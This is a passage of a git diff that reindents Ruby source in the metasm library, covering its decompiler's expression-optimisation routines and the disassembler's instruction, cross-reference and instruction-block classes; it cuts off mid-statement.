used[v.name] = true if v.kind_of? C::Variable } if ce.rexpr.kind_of?(::Array) - } - unused = scope.symbol.keys.find_all { |n| not used[n] } - unused.each { |v| scope.symbol[v].add_attribute 'unused' } # fastcall args need it - scope.statements.delete_if { |sm| sm.kind_of? C::Declaration and unused.include? sm.var.name } - scope.symbol.delete_if { |n, v| unused.include? n } - end - - def finalize - optimize_global - true - end - - def optimize_global - # check all global vars (pointers to global data) - tl = @c_parser.toplevel - vars = tl.symbol.keys.find_all { |k| tl.symbol[k].kind_of? C::Variable and not tl.symbol[k].type.kind_of? C::Function } - countref = Hash.new(0) - - walk_ce(tl) { |ce| - # XXX int foo; void bar() { int foo; } => false negative - countref[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - countref[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - } - - vars.delete_if { |v| countref[v] == 0 } - countref.delete_if { |k, v| not vars.include? k } - - # by default globals are C::Arrays - # if all references are *foo, dereference the var type - # TODO allow foo to appear (change to &foo) (but still disallow casts/foo+12 etc) - countderef = Hash.new(0) - walk_ce(tl) { |ce| - if ce.op == :* and not ce.lexpr - r = ce.rexpr - elsif ce.op == :'->' - r = C::CExpression[ce.lexpr] - else next - end - # compare type.type cause var is an Array and the cast is a Pointer - countderef[r.rexpr.name] += 1 if r.kind_of? C::CExpression and not r.op and r.rexpr.kind_of? C::Variable and - sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil - } - vars.each { |n| - if countref[n] == countderef[n] - v = tl.symbol[n] - target = C::CExpression[:*, [v]] - v.type = v.type.type - v.initializer = v.initializer.first if v.initializer.kind_of? ::Array - walk_ce(tl) { |ce| - if ce.op == :'->' and C::CExpression[ce.lexpr] == C::CExpression[v] - ce.op = :'.' - elsif ce.lexpr == target - ce.lexpr = v - end - ce.rexpr = v if ce.rexpr == target - ce.lexpr, ce.op, ce.rexpr = nil, nil, v if ce == target - } - end - } - - # if a global var appears only in one function, make it a static variable - tl.statements.each { |st| - next if not st.kind_of? C::Declaration or not st.var.type.kind_of? C::Function or not scope = st.var.initializer - localcountref = Hash.new(0) - walk_ce(scope) { |ce| - localcountref[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - localcountref[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - } - - vars.delete_if { |n| - next if scope.symbol[n] - next if localcountref[n] != countref[n] - v = tl.symbol.delete(n) - tl.statements.delete_if { |d| d.kind_of? C::Declaration and d.var.name == n } - - if countref[n] == 1 and v.initializer.kind_of? C::CExpression and v.initializer.rexpr.kind_of? String - walk_ce(scope) { |ce| - if ce.rexpr.kind_of? C::Variable and ce.rexpr.name == n - if not ce.op - ce.replace v.initializer - else - ce.rexpr = v.initializer - end - elsif ce.lexpr.kind_of? C::Variable and ce.lexpr.name == n - ce.lexpr = v.initializer - end - } - else - v.storage = :static - scope.symbol[v.name] = v - scope.statements.unshift C::Declaration.new(v) - end - - true - } - } - end - - # reorder statements to put decl first, move assignments to decl, move args to func prototype - def cleanup_var_decl(scope, func) - scope.symbol.each_value { |v| v.type = C::BaseType.new(:int) if v.type.void? } - - args = func.type.args - decl = [] - scope.statements.delete_if { |sm| - next if not sm.kind_of? C::Declaration - if sm.var.stackoff.to_i > 0 and sm.var.name !~ /_a(\d+)$/ # aliased vars: use 1st domain only - args << sm.var - else - decl << sm - end - true - } - - # move trivial affectations to initialiser - # XXX a = 1 ; b = a ; a = 2 - go = true # break from delete_if does not delete.. - scope.statements.delete_if { |st| - if go and st.kind_of? C::CExpression and st.op == :'=' and st.rexpr.kind_of? C::CExpression and not st.rexpr.op and - st.rexpr.rexpr.kind_of? ::Integer and st.lexpr.kind_of? C::Variable and scope.symbol[st.lexpr.name] - st.lexpr.initializer = st.rexpr - else - go = false - end - } - - # reorder declarations - scope.statements[0, 0] = decl.sort_by { |sm| [-sm.var.stackoff.to_i, sm.var.name] } - - # ensure arglist has no hole (create&add unreferenced args) - func.type.args = [] - argoff = @c_parser.typesize[:ptr] - args.sort_by { |sm| sm.stackoff.to_i }.each { |a| - # XXX misalignment ? - if not curoff = a.stackoff - func.type.args << a # __fastcall - next - end - while curoff > argoff - wantarg = C::Variable.new - wantarg.name = scope.decompdata[:stackoff_name][argoff] || stackoff_to_varname(argoff) - wantarg.type = C::BaseType.new(:int) - wantarg.attributes = ['unused'] - func.type.args << wantarg - scope.symbol[wantarg.name] = wantarg - argoff += @c_parser.typesize[:ptr] - end - func.type.args << a - argoff += @c_parser.typesize[:ptr] - } - end - - # rename local variables from subfunc arg names - def rename_variables(scope) - funcs = [] - cntrs = [] - cmpi = [] - - walk_ce(scope) { |ce| - funcs << ce if ce.op == :funcall - cntrs << (ce.lexpr || ce.rexpr) if ce.op == :'++' - cmpi << ce.lexpr if [:<, :>, :<=, :>=, :==, :'!='].include? ce.op and ce.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.kind_of? ::Integer - } - - rename = lambda { |var, name| - var = var.rexpr if var.kind_of? C::CExpression and not var.op - next if not var.kind_of? C::Variable or not scope.symbol[var.name] or not name - next if (var.name !~ /^(var|arg)_/ and not var.storage == :register) or not scope.symbol[var.name] or name =~ /^(var|arg)_/ - s = scope.symbol_ancestors - n = name - i = 0 - n = name + "#{i+=1}" while s[n] - scope.symbol[n] = scope.symbol.delete(var.name) - var.name = n - } - - funcs.each { |ce| - next if not ce.lexpr.kind_of? C::Variable or not ce.lexpr.type.kind_of? C::Function - ce.rexpr.to_a.zip(ce.lexpr.type.args.to_a).each { |a, fa| rename[a, fa.name] if fa } - } - funcs.each { |ce| - next if not ce.lexpr.kind_of? C::Variable or not ce.lexpr.type.kind_of? C::Function - ce.rexpr.to_a.zip(ce.lexpr.type.args.to_a).each { |a, fa| - next if not a.kind_of? C::CExpression or a.op != :& or a.lexpr - next if not fa or not fa.name - rename[a.rexpr, fa.name.sub(/^l?p/, '')] - } - } - (cntrs & cmpi).each { |v| rename[v, 'cntr'] } - end - - # yield each CExpr member (recursive, allows arrays, order: self(!post), lexpr, rexpr, self(post)) - # if given a non-CExpr, walks it until it finds a CExpr to yield - def walk_ce(ce, post=false, &b) - case ce - when C::CExpression - yield ce if not post - walk_ce(ce.lexpr, post, &b) - walk_ce(ce.rexpr, post, &b) - yield ce if post - when ::Array - ce.each { |ce_| walk_ce(ce_, post, &b) } - when C::Statement - case ce - when C::Block; walk_ce(ce.statements, post, &b) - when C::If - walk_ce(ce.test, post, &b) - walk_ce(ce.bthen, post, &b) - walk_ce(ce.belse, post, &b) if ce.belse - when C::While, C::DoWhile - walk_ce(ce.test, post, &b) - walk_ce(ce.body, post, &b) - when C::Return - walk_ce(ce.value, post, &b) if ce.value - end - when C::Declaration - walk_ce(ce.var.initializer, post, &b) if ce.var.initializer - end - nil - end - - # yields each statement (recursive) - def walk(scope, post=false, &b) - case scope - when ::Array; scope.each { |s| walk(s, post, &b) } - when C::Statement - yield scope if not post - case scope - when C::Block; walk(scope.statements, post, &b) - when C::If - yield scope.test - walk(scope.bthen, post, &b) - walk(scope.belse, post, &b) if scope.belse - when C::While, C::DoWhile - yield scope.test - walk(scope.body, post, &b) - when C::Return - yield scope.value - end - yield scope if post - when C::Declaration - walk(scope.var.initializer, post, &b) if scope.var.initializer - end - end - - # forwards to @c_parser, handles cast to Array (these should not happen btw...) - def sizeof(var, type=nil) - var, type = nil, var if var.kind_of? C::Type and not type - type ||= var.type - return @c_parser.typesize[:ptr] if type.kind_of? C::Array and not var.kind_of? C::Variable - @c_parser.sizeof(var, type) rescue -1 - end + next + when 1 # good + break if e.complexity > 10 and ce_.complexity > 3 # try to keep the C readable + # x = 1; y = x; z = x; => cannot suppress x + nr = find_next_read[l_l, n_i+1, v] + break if (nr.kind_of? C::CExpression or nr == :split) and not walk_ce(ce_) { |ce| break true if ce.op == :'=' and ce.lexpr == v } + else break # a = 1; b = a + a => fail + end + + # TODO XXX x = 1; y = x; z = x; + res = walk_ce(ce_, true) { |ce| + case ce.op + when :funcall + if ce.rexpr.to_a.each_with_index { |a,i_| + next if a != v + ce.rexpr[i_] = r + break :done + } == :done + break :done + elsif ce.lexpr == v + ce.lexpr = r + break :done + elsif isfunc + break :fail + end + when *AssignOp + break :fail if not ce.lexpr and depend_vars.include? ce.rexpr # ++depend + if ce.rexpr == v + ce.rexpr = r + break :done + elsif ce.lexpr == v or depend_vars.include? ce.lexpr + break :fail + end + else + break :fail if ce.op == :& and not ce.lexpr and ce.rexpr == v + if ce.lexpr == v + ce.lexpr = r + break :done + elsif ce.rexpr == v + ce_.type = r.type if not ce_.op and ce_.rexpr == v # return (int32)eax + ce.rexpr = r + break :done + end + end + } + case res + when :done + i -= 1 + exprs.delete_at(i) + e.lexpr = e.op = e.rexpr = nil + break + when :fail + break + end + } + # ignore branches that will never reuse v + may_to = g.to_optim[l_l].find_all { |to| find_next_read[to, 0, v].kind_of? C::CExpression } + if may_to.length == 1 and to = may_to.first and to != l_l and g.from_optim[to] == [l_l] + l_i = 0 + l_l = to + else break + end + end + + when nil, :write + # useless assignment (value never read later) + # XXX foo = &bar; bar = 12; baz(*foo) + e.replace(C::CExpression[e.rexpr]) + # remove sideeffectless subexprs + loop do + case e.op + when :funcall, *AssignOp + else + l = (e.lexpr.kind_of? C::CExpression and sideeffect(e.lexpr)) + r = (e.rexpr.kind_of? C::CExpression and sideeffect(e.rexpr)) + if l and r # could split... + elsif l + e.replace(e.lexpr) + next + elsif r + e.replace(e.rexpr) + next + else # remove the assignment altogether + i -= 1 + exprs.delete_at(i) + e.lexpr = e.op = e.rexpr = nil + end + end + break + end + end + end + end + } + + # wipe cexprs marked in the previous step + walk(scope) { |st| + next if not st.kind_of? C::Block + st.statements.delete_if { |e| e.kind_of? C::CExpression and not e.lexpr and not e.op and not e.rexpr } + } + + # reoptimize cexprs + walk_ce(scope, true) { |ce| + # redo some simplification that may become available after variable propagation + # int8 & 255 => int8 + if ce.op == :& and ce.lexpr and ce.lexpr.type.integral? and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == (1 << (8*sizeof(ce.lexpr))) - 1 + ce.replace C::CExpression[ce.lexpr] + end + + # int *ptr; *(ptr + 4) => ptr[4] + if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :+ and var = ce.rexpr.lexpr and var.kind_of? C::Variable and var.type.pointer? + ce.lexpr, ce.op, ce.rexpr = ce.rexpr.lexpr, :'[]', ce.rexpr.rexpr + end + + # useless casts + if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and (ce.rexpr.rexpr.kind_of? C::CExpression or + (ce.type.pointer? and ce.rexpr.rexpr == 0 and not ce.type.pointed.untypedef.kind_of? C::Union)) # keep ((struct*)0)->memb + ce.rexpr = ce.rexpr.rexpr + end + if not ce.op and ce.rexpr.kind_of? C::CExpression and (ce.type == ce.rexpr.type or (ce.type.integral? and ce.rexpr.type.integral?)) + ce.replace ce.rexpr + end + # useless casts (type)*((oeua)Ptype) + if not ce.op and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :* and not ce.rexpr.lexpr and ce.rexpr.rexpr.kind_of? C::CExpression and not ce.rexpr.rexpr.op and + p = ce.rexpr.rexpr.rexpr and p.kind_of? C::Typed and p.type.pointer? and ce.type == p.type.pointed + ce.op = ce.rexpr.op + ce.rexpr = ce.rexpr.rexpr.rexpr + end + # (a > 0) != 0 + if ce.op == :'!=' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and ce.lexpr.kind_of? C::CExpression and + [:<, :<=, :>, :>=, :'==', :'!=', :'!'].include? ce.lexpr.op + ce.replace ce.lexpr + end + # a == 0 => !a + if ce.op == :== and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 + ce.replace C::CExpression[:'!', ce.lexpr] + end + # !(int)a => !a + if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? C::CExpression + ce.rexpr = ce.rexpr.rexpr + end + # (int)a < (int)b => a < b TODO uint <-> int + if [:<, :<=, :>, :>=].include? ce.op and ce.rexpr.kind_of? C::CExpression and ce.lexpr.kind_of? C::CExpression and not ce.rexpr.op and not ce.lexpr.op and + ce.rexpr.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.type.pointer? and ce.lexpr.rexpr.kind_of? C::CExpression and ce.lexpr.rexpr.type.pointer? + ce.rexpr = ce.rexpr.rexpr + ce.lexpr = ce.lexpr.rexpr + end + + # a & 3 & 1 + while (ce.op == :& or ce.op == :|) and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and + ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == ce.op and ce.lexpr.lexpr and + ce.lexpr.rexpr.kind_of? C::CExpression and ce.lexpr.rexpr.rexpr.kind_of? ::Integer + ce.lexpr, ce.rexpr.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr.rexpr.send(ce.op, ce.rexpr.rexpr) + end + + # x = x | 4 => x |= 4 + if ce.op == :'=' and ce.rexpr.kind_of? C::CExpression and [:+, :-, :*, :/, :|, :&, :^, :>>, :<<].include? ce.rexpr.op and ce.rexpr.lexpr == ce.lexpr + ce.op = (ce.rexpr.op.to_s + '=').to_sym + ce.rexpr = ce.rexpr.rexpr + end + + # x += 1 => ++x + if (ce.op == :'+=' or ce.op == :'-=') and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 + ce.lexpr, ce.op, ce.rexpr = nil, {:'+=' => :'++', :'-=' => :'--'}[ce.op], ce.lexpr + end + + # --x+1 => x-- + if (ce.op == :+ or ce.op == :-) and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == {:+ => :'--', :- => :'++'}[ce.op] and + ce.lexpr.rexpr and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 + ce.lexpr, ce.op, ce.rexpr = ce.lexpr.rexpr, ce.lexpr.op, nil + end + } + end + + def remove_unreferenced_vars(scope) + used = {} + walk_ce(scope) { |ce| + # remove unreferenced local vars + used[ce.rexpr.name] = true if ce.rexpr.kind_of? C::Variable + used[ce.lexpr.name] = true if ce.lexpr.kind_of? C::Variable + ce.rexpr.each { |v| used[v.name] = true if v.kind_of? C::Variable } if ce.rexpr.kind_of?(::Array) + } + unused = scope.symbol.keys.find_all { |n| not used[n] } + unused.each { |v| scope.symbol[v].add_attribute 'unused' } # fastcall args need it + scope.statements.delete_if { |sm| sm.kind_of? C::Declaration and unused.include? sm.var.name } + scope.symbol.delete_if { |n, v| unused.include? n } + end + + def finalize + optimize_global + true + end + + def optimize_global + # check all global vars (pointers to global data) + tl = @c_parser.toplevel + vars = tl.symbol.keys.find_all { |k| tl.symbol[k].kind_of? C::Variable and not tl.symbol[k].type.kind_of? C::Function } + countref = Hash.new(0) + + walk_ce(tl) { |ce| + # XXX int foo; void bar() { int foo; } => false negative + countref[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable + countref[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable + } + + vars.delete_if { |v| countref[v] == 0 } + countref.delete_if { |k, v| not vars.include? k } + + # by default globals are C::Arrays + # if all references are *foo, dereference the var type + # TODO allow foo to appear (change to &foo) (but still disallow casts/foo+12 etc) + countderef = Hash.new(0) + walk_ce(tl) { |ce| + if ce.op == :* and not ce.lexpr + r = ce.rexpr + elsif ce.op == :'->' + r = C::CExpression[ce.lexpr] + else next + end + # compare type.type cause var is an Array and the cast is a Pointer + countderef[r.rexpr.name] += 1 if r.kind_of? C::CExpression and not r.op and r.rexpr.kind_of? C::Variable and + sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil + } + vars.each { |n| + if countref[n] == countderef[n] + v = tl.symbol[n] + target = C::CExpression[:*, [v]] + v.type = v.type.type + v.initializer = v.initializer.first if v.initializer.kind_of? ::Array + walk_ce(tl) { |ce| + if ce.op == :'->' and C::CExpression[ce.lexpr] == C::CExpression[v] + ce.op = :'.' + elsif ce.lexpr == target + ce.lexpr = v + end + ce.rexpr = v if ce.rexpr == target + ce.lexpr, ce.op, ce.rexpr = nil, nil, v if ce == target + } + end + } + + # if a global var appears only in one function, make it a static variable + tl.statements.each { |st| + next if not st.kind_of? C::Declaration or not st.var.type.kind_of? C::Function or not scope = st.var.initializer + localcountref = Hash.new(0) + walk_ce(scope) { |ce| + localcountref[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable + localcountref[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable + } + + vars.delete_if { |n| + next if scope.symbol[n] + next if localcountref[n] != countref[n] + v = tl.symbol.delete(n) + tl.statements.delete_if { |d| d.kind_of? C::Declaration and d.var.name == n } + + if countref[n] == 1 and v.initializer.kind_of? C::CExpression and v.initializer.rexpr.kind_of? String + walk_ce(scope) { |ce| + if ce.rexpr.kind_of? C::Variable and ce.rexpr.name == n + if not ce.op + ce.replace v.initializer + else + ce.rexpr = v.initializer + end + elsif ce.lexpr.kind_of? C::Variable and ce.lexpr.name == n + ce.lexpr = v.initializer + end + } + else + v.storage = :static + scope.symbol[v.name] = v + scope.statements.unshift C::Declaration.new(v) + end + + true + } + } + end + + # reorder statements to put decl first, move assignments to decl, move args to func prototype + def cleanup_var_decl(scope, func) + scope.symbol.each_value { |v| v.type = C::BaseType.new(:int) if v.type.void? } + + args = func.type.args + decl = [] + scope.statements.delete_if { |sm| + next if not sm.kind_of? C::Declaration + if sm.var.stackoff.to_i > 0 and sm.var.name !~ /_a(\d+)$/ # aliased vars: use 1st domain only + args << sm.var + else + decl << sm + end + true + } + + # move trivial affectations to initialiser + # XXX a = 1 ; b = a ; a = 2 + go = true # break from delete_if does not delete.. + scope.statements.delete_if { |st| + if go and st.kind_of? C::CExpression and st.op == :'=' and st.rexpr.kind_of? C::CExpression and not st.rexpr.op and + st.rexpr.rexpr.kind_of? ::Integer and st.lexpr.kind_of? C::Variable and scope.symbol[st.lexpr.name] + st.lexpr.initializer = st.rexpr + else + go = false + end + } + + # reorder declarations + scope.statements[0, 0] = decl.sort_by { |sm| [-sm.var.stackoff.to_i, sm.var.name] } + + # ensure arglist has no hole (create&add unreferenced args) + func.type.args = [] + argoff = @c_parser.typesize[:ptr] + args.sort_by { |sm| sm.stackoff.to_i }.each { |a| + # XXX misalignment ? + if not curoff = a.stackoff + func.type.args << a # __fastcall + next + end + while curoff > argoff + wantarg = C::Variable.new + wantarg.name = scope.decompdata[:stackoff_name][argoff] || stackoff_to_varname(argoff) + wantarg.type = C::BaseType.new(:int) + wantarg.attributes = ['unused'] + func.type.args << wantarg + scope.symbol[wantarg.name] = wantarg + argoff += @c_parser.typesize[:ptr] + end + func.type.args << a + argoff += @c_parser.typesize[:ptr] + } + end + + # rename local variables from subfunc arg names + def rename_variables(scope) + funcs = [] + cntrs = [] + cmpi = [] + + walk_ce(scope) { |ce| + funcs << ce if ce.op == :funcall + cntrs << (ce.lexpr || ce.rexpr) if ce.op == :'++' + cmpi << ce.lexpr if [:<, :>, :<=, :>=, :==, :'!='].include? ce.op and ce.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.kind_of? ::Integer + } + + rename = lambda { |var, name| + var = var.rexpr if var.kind_of? C::CExpression and not var.op + next if not var.kind_of? C::Variable or not scope.symbol[var.name] or not name + next if (var.name !~ /^(var|arg)_/ and not var.storage == :register) or not scope.symbol[var.name] or name =~ /^(var|arg)_/ + s = scope.symbol_ancestors + n = name + i = 0 + n = name + "#{i+=1}" while s[n] + scope.symbol[n] = scope.symbol.delete(var.name) + var.name = n + } + + funcs.each { |ce| + next if not ce.lexpr.kind_of? C::Variable or not ce.lexpr.type.kind_of? C::Function + ce.rexpr.to_a.zip(ce.lexpr.type.args.to_a).each { |a, fa| rename[a, fa.name] if fa } + } + funcs.each { |ce| + next if not ce.lexpr.kind_of? C::Variable or not ce.lexpr.type.kind_of? C::Function + ce.rexpr.to_a.zip(ce.lexpr.type.args.to_a).each { |a, fa| + next if not a.kind_of? C::CExpression or a.op != :& or a.lexpr + next if not fa or not fa.name + rename[a.rexpr, fa.name.sub(/^l?p/, '')] + } + } + (cntrs & cmpi).each { |v| rename[v, 'cntr'] } + end + + # yield each CExpr member (recursive, allows arrays, order: self(!post), lexpr, rexpr, self(post)) + # if given a non-CExpr, walks it until it finds a CExpr to yield + def walk_ce(ce, post=false, &b) + case ce + when C::CExpression + yield ce if not post + walk_ce(ce.lexpr, post, &b) + walk_ce(ce.rexpr, post, &b) + yield ce if post + when ::Array + ce.each { |ce_| walk_ce(ce_, post, &b) } + when C::Statement + case ce + when C::Block; walk_ce(ce.statements, post, &b) + when C::If + walk_ce(ce.test, post, &b) + walk_ce(ce.bthen, post, &b) + walk_ce(ce.belse, post, &b) if ce.belse + when C::While, C::DoWhile + walk_ce(ce.test, post, &b) + walk_ce(ce.body, post, &b) + when C::Return + walk_ce(ce.value, post, &b) if ce.value + end + when C::Declaration + walk_ce(ce.var.initializer, post, &b) if ce.var.initializer + end + nil + end + + # yields each statement (recursive) + def walk(scope, post=false, &b) + case scope + when ::Array; scope.each { |s| walk(s, post, &b) } + when C::Statement + yield scope if not post + case scope + when C::Block; walk(scope.statements, post, &b) + when C::If + yield scope.test + walk(scope.bthen, post, &b) + walk(scope.belse, post, &b) if scope.belse + when C::While, C::DoWhile + yield scope.test + walk(scope.body, post, &b) + when C::Return + yield scope.value + end + yield scope if post + when C::Declaration + walk(scope.var.initializer, post, &b) if scope.var.initializer + end + end + + # forwards to @c_parser, handles cast to Array (these should not happen btw...) + def sizeof(var, type=nil) + var, type = nil, var if var.kind_of? C::Type and not type + type ||= var.type + return @c_parser.typesize[:ptr] if type.kind_of? C::Array and not var.kind_of? C::Variable + @c_parser.sizeof(var, type) rescue -1 + end end end diff --git a/lib/metasm/metasm/disassemble.rb b/lib/metasm/metasm/disassemble.rb index 5c552f933848c..27e910ede0527 100644 --- a/lib/metasm/metasm/disassemble.rb +++ b/lib/metasm/metasm/disassemble.rb @@ -10,2058 +10,2058 @@ module Metasm # holds information for decoded instructions: the original opcode, a pointer to the InstructionBlock, etc class DecodedInstruction - # the instance of InstructionBlock this di is into - attr_accessor :block - # our offset (in bytes) from the start of the block, used only for hexdump - attr_accessor :block_offset - # the address of the instruction's first byte in memory - attr_accessor :address - # the disassembled data - attr_accessor :instruction, :opcode - # our, length in bytes - attr_accessor :bin_length - # array of arbitrary strings - attr_accessor :comment - # a cache of the binding used by the backtracker to emulate this instruction - attr_accessor :backtrace_binding - - # create a new DecodedInstruction with an Instruction whose cpu is the argument - # can take an existing Instruction as argument - def initialize(arg, addr=nil) - case arg - when Instruction - @instruction = arg - @opcode = @instruction.cpu.opcode_list.find { |op| op.name == @instruction.opname } if @instruction.cpu - else @instruction = Instruction.new(arg) - end - @bin_length = 0 - @address = addr if addr - end - - def next_addr=(a) @next_addr = a end - def next_addr - (@next_addr ||= nil) || (address + @bin_length) if address - end - - def show - if block - bin = @block.edata.data[@block.edata_ptr+@block_offset, @bin_length].unpack('C*').map { |c| '%02x' % c }.join - if @bin_length > 12 - bin = bin[0, 20] + "..<+#{@bin_length-10}>" - end - " #{@instruction.to_s.ljust(44)} ; @#{Expression[address]} #{bin} #{@comment.sort[0,6].join(' ') if comment}" - else - "#{@instruction}#{' ; ' + @comment.join(' ') if comment}" - end - end - - include Renderable - def render - ret = [] - ret << Expression[address] << ' ' if address - ret << @instruction - ret << ' ; ' << @comment if comment - ret - end - - def add_comment(c) - @comment ||= [] - @comment |= [c] - end - - # returns a copy of the DecInstr, with duplicated #instruction ("deep_copy") - def dup - new = super() - new.instruction = @instruction.dup - new - end + # the instance of InstructionBlock this di is into + attr_accessor :block + # our offset (in bytes) from the start of the block, used only for hexdump + attr_accessor :block_offset + # the address of the instruction's first byte in memory + attr_accessor :address + # the disassembled data + attr_accessor :instruction, :opcode + # our, length in bytes + attr_accessor :bin_length + # array of arbitrary strings + attr_accessor :comment + # a cache of the binding used by the backtracker to emulate this instruction + attr_accessor :backtrace_binding + + # create a new DecodedInstruction with an Instruction whose cpu is the argument + # can take an existing Instruction as argument + def initialize(arg, addr=nil) + case arg + when Instruction + @instruction = arg + @opcode = @instruction.cpu.opcode_list.find { |op| op.name == @instruction.opname } if @instruction.cpu + else @instruction = Instruction.new(arg) + end + @bin_length = 0 + @address = addr if addr + end + + def next_addr=(a) @next_addr = a end + def next_addr + (@next_addr ||= nil) || (address + @bin_length) if address + end + + def show + if block + bin = @block.edata.data[@block.edata_ptr+@block_offset, @bin_length].unpack('C*').map { |c| '%02x' % c }.join + if @bin_length > 12 + bin = bin[0, 20] + "..<+#{@bin_length-10}>" + end + " #{@instruction.to_s.ljust(44)} ; @#{Expression[address]} #{bin} #{@comment.sort[0,6].join(' ') if comment}" + else + "#{@instruction}#{' ; ' + @comment.join(' ') if comment}" + end + end + + include Renderable + def render + ret = [] + ret << Expression[address] << ' ' if address + ret << @instruction + ret << ' ; ' << @comment if comment + ret + end + + def add_comment(c) + @comment ||= [] + @comment |= [c] + end + + # returns a copy of the DecInstr, with duplicated #instruction ("deep_copy") + def dup + new = super() + new.instruction = @instruction.dup + new + end end # holds information on a backtracked expression near begin and end of instruction blocks (#backtracked_for) class BacktraceTrace - # address of the instruction in the block from which rebacktrace should start (use with from_subfuncret bool) - # address is nil if the backtrace is from block start - # exclude_instr is a bool saying if the backtrace should start at address or at the preceding instruction - # these are optional: if absent, expr is to be rebacktracked when a new codepath arrives at the beginning of the block - attr_accessor :address, :from_subfuncret, :exclude_instr - # address of the instruction that initiated the backtrace - attr_accessor :origin - # the Expression to backtrace at this point - attr_accessor :expr - # the original backtracked Expression - attr_accessor :orig_expr - # length of r/w xref (in bytes) - attr_accessor :len - # :r/:w/:x - attr_accessor :type - # bool: true if this maps to a :x that should not have a from when resolved - attr_accessor :detached - # maxdepth at the point of the object creation - attr_accessor :maxdepth - - def initialize(expr, origin, orig_expr, type, len=nil, maxdepth=nil) - @expr, @origin, @orig_expr, @type = expr, origin, orig_expr, type - @len = len if len - @maxdepth = maxdepth if maxdepth - end - - def hash ; [origin, expr].hash ; end - def eql?(o) - o.class == self.class and - [ address, from_subfuncret, exclude_instr, origin, orig_expr, len, type, detached] == - [o.address, o.from_subfuncret, o.exclude_instr, o.origin, o.orig_expr, o.len, o.type, o.detached] - end - alias == eql? + # address of the instruction in the block from which rebacktrace should start (use with from_subfuncret bool) + # address is nil if the backtrace is from block start + # exclude_instr is a bool saying if the backtrace should start at address or at the preceding instruction + # these are optional: if absent, expr is to be rebacktracked when a new codepath arrives at the beginning of the block + attr_accessor :address, :from_subfuncret, :exclude_instr + # address of the instruction that initiated the backtrace + attr_accessor :origin + # the Expression to backtrace at this point + attr_accessor :expr + # the original backtracked Expression + attr_accessor :orig_expr + # length of r/w xref (in bytes) + attr_accessor :len + # :r/:w/:x + attr_accessor :type + # bool: true if this maps to a :x that should not have a from when resolved + attr_accessor :detached + # maxdepth at the point of the object creation + attr_accessor :maxdepth + + def initialize(expr, origin, orig_expr, type, len=nil, maxdepth=nil) + @expr, @origin, @orig_expr, @type = expr, origin, orig_expr, type + @len = len if len + @maxdepth = maxdepth if maxdepth + end + + def hash ; [origin, expr].hash ; end + def eql?(o) + o.class == self.class and + [ address, from_subfuncret, exclude_instr, origin, orig_expr, len, type, detached] == + [o.address, o.from_subfuncret, o.exclude_instr, o.origin, o.orig_expr, o.len, o.type, o.detached] + end + alias == eql? end # a cross-reference, tracks read/write/execute memory accesses by decoded instructions class Xref - # :r/:w/:x - attr_accessor :type - # length of r/w (in bytes) - attr_accessor :len - # address of the instruction responsible of the xref - attr_accessor :origin - # XXX list of instructions intervening in the backtrace ? - - def initialize(type, origin, len=nil) - @origin, @type = origin, type - @len = len if len - end - - def hash ; @origin.hash ; end - def eql?(o) o.class == self.class and [type, len, origin] == [o.type, o.len, o.origin] end - alias == eql? + # :r/:w/:x + attr_accessor :type + # length of r/w (in bytes) + attr_accessor :len + # address of the instruction responsible of the xref + attr_accessor :origin + # XXX list of instructions intervening in the backtrace ? + + def initialize(type, origin, len=nil) + @origin, @type = origin, type + @len = len if len + end + + def hash ; @origin.hash ; end + def eql?(o) o.class == self.class and [type, len, origin] == [o.type, o.len, o.origin] end + alias == eql? end # holds a list of contiguous decoded instructions, forming an uninterrupted block (except for eg CPU exceptions) # most attributes are either a value or an array of values, use the associated iterator. class InstructionBlock - # address of the first instruction - attr_accessor :address - # pointer to raw data - attr_accessor :edata, :edata_ptr - # list of DecodedInstructions - attr_accessor :list - # address of instructions giving control directly to us - # includes addr of normal instruction when call flow continues to us past the end of the preceding block - # does not include addresses of subfunction return instructions - # may be nil or an array - attr_accessor :from_normal - # address of instructions called/jumped to - attr_accessor :to_normal - # address of an instruction that calls a subfunction which returns to us - attr_accessor :from_subfuncret - # address of instruction executed after a called subfunction returns - attr_accessor :to_subfuncret - # address of instructions executed indirectly through us (callback in a subfunction, SEH...) - # XXX from_indirect is not populated for now - attr_accessor :from_indirect, :to_indirect - # array of BacktraceTrace - # when a new code path comes to us, it should be backtracked for the values of :r/:w/:x using btt with no address - # for internal use only (block splitting): btt with an address - attr_accessor :backtracked_for - - # create a new InstructionBlock based at address - # also accepts a DecodedInstruction or an Array of them to initialize from - def initialize(arg0, edata=nil, edata_ptr=nil) - @list = [] - case arg0 - when DecodedInstruction - @address = arg0.address - add_di(arg0) - when Array - @address = arg0.first.address if not arg0.empty? - arg0.each { |di| add_di(di) } - else - @address = arg0 - end - edata_ptr ||= edata ? edata.ptr : 0 - @edata, @edata_ptr = 